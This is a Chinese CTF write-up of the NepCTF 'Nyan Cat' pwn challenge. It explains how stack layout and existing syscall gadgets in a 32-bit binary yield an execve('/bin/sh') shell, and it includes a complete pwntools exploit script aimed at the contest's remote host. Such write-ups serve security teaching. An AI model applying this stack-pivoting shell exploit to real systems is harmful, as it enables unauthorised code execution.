当前位置:网站首页>nepctf Nyan Cat 彩虹猫
nepctf Nyan Cat 彩虹猫
2022-08-11 05:29:00 【Mauricio_Davis】
考察点
- 32系统调用
- 布置栈
注意题目源文件没有告诉函数名是write啥的,这些都是我自己改的名字,开启了什么保护就自己看咯
思路概要
- 利用程序自带的系统调用使eax=0xb(execve函数系统调用为b)
- 通过对栈进行布置,使ebx->‘/bin/sh’,ecx->0,edx->0
- 最后int 80h,拿到shell
程序分析
- 程序很简单,只有几个函数,没有plt,got,通过查看字符串也没有/bin/sh。
- 查看start函数得知,write输出了一个彩虹猫图案,buf是一个指针可写,指向.rodata段的数据(该段不可写)
3. main函数很简单,read向栈里面输入32h字节的内容,write输出"Good Luck!\n",不要想当然的以为直接就是直接覆盖ebp,eip就可以了
- 通过查看汇编代码,可知程序只是用的esp定位没有使用,ebp,其次该题目的栈空间不是那么常规,可以自己从start汇编开始画出栈执行变化,我这边提供现成的了,不过建议自己去弄,且这边write完执行下面的语句除了esp其他的值都变成deadbeef了。
具体思路
首先程序已有的函数没有使用plt,got所以无法泄露libc,且没有system函数和/bin/sh地址所以无法使用system获取shell。
程序具体函数都是通过系统调用实现的那么我们也可以通过系统调用execve函数获取shell,那么需要解决eax,ebx,ecx,edx这三个寄存器,使他满足execve调用
eax需要等于0xb,通过查看gadget和函数,我们发现只要执行完这个write 那么eax就等于0xb,这个问题就解决了
ebx想要指向/bin/sh,我们首先要向程序写入/bin/sh,然后让ebx指向他,我们首先需要找到一块可以写的内存,在ida看似乎没找到可以写入/bin/sh的地方,在gdb里面我们vmmap就可以查看程序的整体段了,最后发现了一块地址可以写内存,这样我们解决了/bin/sh地址的问题,可能会有疑问为啥不写进栈里面呢,首先写进入但是不知道具体地址,除非有办法泄露,目前泄露没成功。
- 最后一个问题就是如何让ebx,ecx,edx指向我们布置的栈内容,再read,write里面发先了这段gadget,可以解决问题(从划线处开始mov eax,3不要),这样eax就不会改变,只要对应好栈布置的内容就可以顺序执行int 80h,拿到shell
- 最后一个问题就是如何在完成布栈,让write输出之后eax保持0xb且使ebx,ecx,edx,指向我们布置的栈内容,因为我们每次输入的空间是有限的每次最多0x32,又不能在同一个栈布置一次内容执行两个函数。最后我们发现如果把栈空间向下拉0x20(执行两次main函数中的sub res,10h),之后利用add rsp,0x20 ret,这个去执行前面的栈就可以顺利完成执行完write之后执行execve
注: 所谓了下拉20h,就是执行main函数两次但是不是直接call main,而是用main最开始的汇编的地址
1 .第一次read输入的时候就计算栈位置,将execve函数所需的栈布置好
2 .第二次read时,将可以把ebx,ecx,edx寄存器指向我们前面布置的参数的gadget布置进入
3 .最后一次read,布置好write输出控制eax=0xb之后,马上把栈抬高20h,再ret返回执行上面布置的gadget
exp
from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
c=remote(b'nep.lemonprefect.cn',27842)
#c=process(b'./main')
binsh=0x804b200
c.recv()
py=b'a'*0x10+p32(0x080480F0)+p32(0x080481A0)+p32(0)+p32(binsh)+p32(0x8)+p32(binsh)+p32(0)*2#通过计算栈空间提前把execve函数需要的参数通过第一次写入
c.send(py)
pause()
c.send(b'/bin/sh')
#计算栈空间通过第二次输入把使得执行将ebx,ecx,edx指向我们布置的栈内容
pause()
py=b'a'*0x10+p32(0x080481A0)+p32(0)*5+p32(0x080480F5)
c.send(py)
#输出完之后,通过add rsp,0x20 ret,执行我们提前布置的gadget
pause()
py=b'a'*0x10+p32(0x08048110)+p32(0x08048190)+p32(1)+p32(0x0804B000)+p32(0xb)
c.send(py)
c.interactive()
图片八成看不清,但是不能插入文件所以师傅们还是自己画一遍理解啦,勉勉强强参考下吧
边栏推荐
猜你喜欢
精彩联动 | OpenMLDB Pulsar Connector原理和实操
mk file introduction
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
Day 86
Manufacturer Push Platform-Huawei Access
Vscode remote connection server terminal zsh+Oh-my-zsh + Powerlevel10 + Autosuggestions + Autojump + Syntax-highlighting
Day 78
无效的修订:3.18.1-g262b901-dirty
第四范式OpenMLDB优化创新论文被国际数据库顶会VLDB录用
Day 79
随机推荐
Wonderful linkage | OpenMLDB Pulsar Connector principle and practical operation
【Meetup预告】OpenMLDB+OneFlow:链接特征工程到模型训练,加速机器学习模型开发
promise.all 学习(多个promise对象回调)
Day 71
【无标题】
品优购项目实战笔记
Byte (byte) and bit (bit)
[Meetup] OpenMLDBxDolphinScheduler engineering and scheduling link link characteristics, building the end-to-end MLOps workflow
Day 81
栈stack
promise 改变状态的方法和promise 的then方法
USB in NRZI to encode the data
Node stepping on the pit 80 port is occupied
JS事件循环机制
Day 86
Goldbach's conjecture and the ring of integers
无效的修订:3.18.1-g262b901-dirty
Day 76
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
mongoose连接mongodb不错,显示encoding没有定义